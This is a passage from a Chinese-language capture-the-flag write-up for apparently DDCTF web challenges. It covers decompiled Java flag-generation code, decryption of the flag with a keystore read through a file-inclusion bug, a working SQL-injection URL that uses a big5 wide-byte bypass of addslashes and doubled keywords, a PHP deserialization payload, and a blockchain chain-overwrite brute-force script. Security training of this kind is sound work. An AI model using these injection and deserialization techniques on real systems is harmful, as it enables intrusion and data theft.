    implements ApplicationListener, InitializingBean
{

    public InitListener()
    {
        properties = new Properties();
    }

    public void afterPropertiesSet()
        throws Exception
    {
        System.out.println("afterPropertiesSet");
        try
        {
            java.io.InputStream inputStream = getClass().getClassLoader().getResourceAsStream("/properties/conf.properties");
            properties.load(inputStream);
        }
        catch(Exception e)
        {
            e.printStackTrace();
        }
        p = "sdl welcome you !".substring(0, "sdl welcome you !".length() - 1).trim().replace(" ", "");
    }

    public void onApplicationEvent(ApplicationEvent event)
    {
        if(!(event.getSource() instanceof ApplicationContext))
            return;
        WebApplicationContext ctx = (WebApplicationContext)event.getSource();
        if(ctx.getParent() != null)
            return;
        String regenflag = properties.getProperty("regenflag");
        if(regenflag != null && "false".equals(regenflag))
        {
            System.out.println("skip gen flag");
            return;
        }
        try
        {
            flagService.deleteAll();
            int id = 1;
            String path = ctx.getServletContext().getRealPath("/WEB-INF/classes/emails.txt");
            String ksPath = ctx.getServletContext().getRealPath("/WEB-INF/classes/sdl.ks");
            System.out.println(path);
            String emailsString = FileUtils.readFileToString(new File(path), "utf-8");
            String emails[] = emailsString.trim().split("\n");
            KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());
            FileInputStream inputStream = new FileInputStream(ksPath);
            keyStore.load(inputStream, p.toCharArray());
            Key key = keyStore.getKey("www.didichuxing.com", p.toCharArray());
            Cipher cipher = Cipher.getInstance(key.getAlgorithm());
            cipher.init(1, key);
            SecretKeySpec signingKey = new SecretKeySpec("sdl welcome you !".getBytes(), "HmacSHA256");
            Mac mac = Mac.getInstance("HmacSHA256");
            mac.init(signingKey);
            SecureRandom sr = new SecureRandom();
            String as[] = emails;
            int i = as.length;
            for(int j = 0; j < i; j++)
            {
                String email = as[j];
                String flag = (new StringBuilder()).append("DDCTF{").append(Math.abs(sr.nextLong())).append("}").toString();
                String uuid = UUID.randomUUID().toString().replace("-", "s");
                byte data[] = cipher.doFinal(flag.getBytes());
                byte e[] = mac.doFinal(String.valueOf(email.trim()).getBytes());
                Flag flago = new Flag();
                flago.setId(Integer.valueOf(id));
                flago.setFlag(byte2hex(data));
                flago.setEmail(byte2hex(e));
                flago.setOriginFlag(flag);
                flago.setUuid(uuid);
                flago.setOriginEmail(email);
                flagService.save(flago);
                System.out.println((new StringBuilder()).append(email).append("\u540C\u5B66\u7684\u5165\u53E3\u94FE\u63A5\u4E3A\uFF1Ahttp://116.85.48.102:5050/welcom/").append(uuid).toString());
                id++;
                System.out.println(flago);
            }

        }
        catch(KeyStoreException e)
        {
            e.printStackTrace();
        }
        catch(IOException e)
        {
            e.printStackTrace();
        }
        catch(NoSuchAlgorithmException e)
        {
            e.printStackTrace();
        }
        catch(CertificateException e)
        {
            e.printStackTrace();
        }
        catch(UnrecoverableKeyException e)
        {
            e.printStackTrace();
        }
        catch(NoSuchPaddingException e)
        {
            e.printStackTrace();
        }
        catch(InvalidKeyException e)
        {
            e.printStackTrace();
        }
        catch(IllegalBlockSizeException e)
        {
            e.printStackTrace();
        }
        catch(BadPaddingException e)
        {
            e.printStackTrace();
        }
    }

    public static String byte2hex(byte b[])
    {
        StringBuilder hs = new StringBuilder();
        for(int n = 0; b != null && n < b.length; n++)
        {
            String stmp = Integer.toHexString(b[n] & 0xff);
            if(stmp.length() == 1)
                hs.append('0');
            hs.append(stmp);
        }

        return hs.toString().toUpperCase();
    }

    final String k = "sdl welcome you !";
    private FlagService flagService;
    private Properties properties;
    private String p;
}

FlagController.java

package com.didichuxing.ctf.controller.user;

import com.didichuxing.ctf.model.Flag;
import com.didichuxing.ctf.service.FlagService;
import java.io.PrintStream;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;


@RestController
@RequestMapping({"flag"})
public class FlagController
{
  @Autowired
  private FlagService flagService;

  public FlagController() {}

  @RequestMapping(value={"/getflag/{email:[0-9a-zA-Z']+}"}, method={org.springframework.web.bind.annotation.RequestMethod.POST})
  public String getFlag(@PathVariable("email") String email, ModelMap model)
  {
    Flag flag = flagService.getFlagByEmail(email);


    return "Encrypted flag : " + flag.getFlag();
  }


  @RequestMapping({"/testflag/{flag}"})
  public String submitFlag(@PathVariable("flag") String flag, ModelMap model)
  {
    String[] fs = flag.split("[{}]");
    Long longFlag = Long.valueOf(fs[1]);

    int i = flagService.exist(flag);


    if (i > 0) {
      return "pass!!!";
    }
    return "failed!!!";
  }


  private void init()
  {
    System.out.println("test");
  }
}

可以看到在数据库中保存了SHA256后的email和RSA加密后的flag,而FlagController提供了利用加密后的email获取加密后的flag的接口。猜测这里的email为主页上联系方式处的email:[email protected]。将email加密后获取到flag,使用以下java代码来解密:

package com.company;

import javax.crypto.Cipher;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.security.*;
import java.security.cert.Certificate;

public class Main {

    public static void main(String[] args) {
    // write your code here
        try {
            FileInputStream str = new FileInputStream(new File("/tmp/xxx.xx"));
            String p = "sdl welcome you !".substring(0, "sdl welcome you !".length() - 1).trim().replace(" ", "");
            KeyStore keystore=KeyStore.getInstance(KeyStore.getDefaultType());
            FileInputStream input=new FileInputStream("/tmp/sdl.ks");
            keystore.load(input,p.toCharArray());
            Key key=keystore.getKey("www.didichuxing.com", p.toCharArray());
            Certificate cert=keystore.getCertificate("www.didichuxing.com");
            PublicKey publicKey=cert.getPublicKey();

            Cipher cipher=Cipher.getInstance(key.getAlgorithm());
            System.out.println(Cipher.DECRYPT_MODE);
            System.out.println(Cipher.ENCRYPT_MODE);
            cipher.init(Cipher.DECRYPT_MODE,publicKey);
            byte m[]=str.readAllBytes();
            System.out.println(m);
            byte data[]=cipher.doFinal(m);
            System.out.println(new String(data));

        }
        catch(Exception e){
            e.printStackTrace();
        }

    }
}

其中 /tmp/sdl.ks是通过文件包含漏洞读取到的ketstore文件,包含公钥与私钥信息,/tmp/xxx.xx保存加密后的flag.
解密后获得flag.

web2

注入的奥妙

首先是sql注入,页面提示后端数据库的编码是big5编码,因此从big5编码表中找到5c结尾的汉字即可绕过add_slashes;其中关键字过滤可以用双写来绕过,最终的获取route_rules表的内容的payload为:

http://116.85.48.105:5033/5d71b644-ee63-4b11-9c13-da3c4ac35b8d/well/getmessage/1%E5%85%9D'%20and%200%20uniounionn%20select%20pattern,action,rulepass%20%20from%20route_rules%23

中间暴库时需要转换编码 convert(xxx using big5)

获取到路由规则表的内容:

action pattern type
get*/ u/well/getmessage/ s
get*/ u/justtry/self/ s
post*/ u/justtry/try JustTry#try
static/bootstrap/css/backup.css static/bootstrap/css/backup.zip

访问static/boostrap/css/backup.css,可获取网页的所有源码,可以看到justtry/try处为反序列化,可以利用这里的反序列化反序列化test类即可获取flag.

生成反序列化脚本的payload为:

<?php
namespace Index\Helper;
class Flag{
    public $sql;
}
class Test{
    public $user_uuid;
    public $fl;
}
class SQL{
    public $dbc;
    public $pdo;
}
$fl=new Flag;
$fl->sql=new SQL;
$test=new Test;
$test->user_uuid="c38639ed-2d7f-41bd-a412-4c489de8102e";
$test->fl=$fl;
print_r(serialize($test));

web3

mini-blockchain

解题思路:利用create_transaction在头区块后生成一条更长的链覆盖原来的链从而覆盖给黑客的交易记录,然后再利用backdoor给超市转10000,获得一个diamound;然后再将现在这条链覆盖,再利用backdoor给超市转10000,又可以获得一个flag.
添加新区块需要满足新区块的hash少于DIFFICULTY,这里使用所有数字组合来爆破。插入的区块中transaction数组为空,意味着不包含任何交易记录,这样既可避免获取私钥。
爆破新区块的脚本为:


def deal(head): global session print session DIFFICULTY = int('00000' + 'f' * 59, 16) print DIFFICULTY i=0 while True: transferred = create_tx([], []) #print head new_block = create_block(str(head), str(i), []) #print new_block if int(new_block['hash'],16)<DIFFICULTY: print json.dumps(new_block) i=i+1 #print new_block #print "hash",int(new_block['hash'],16) deal(sys.argv[1])

每次运行将想要插入的位置的hash作为参数,即可生成一个没有交易的空区块,当新生成的链长度大于原有链长度即可覆盖原有的链。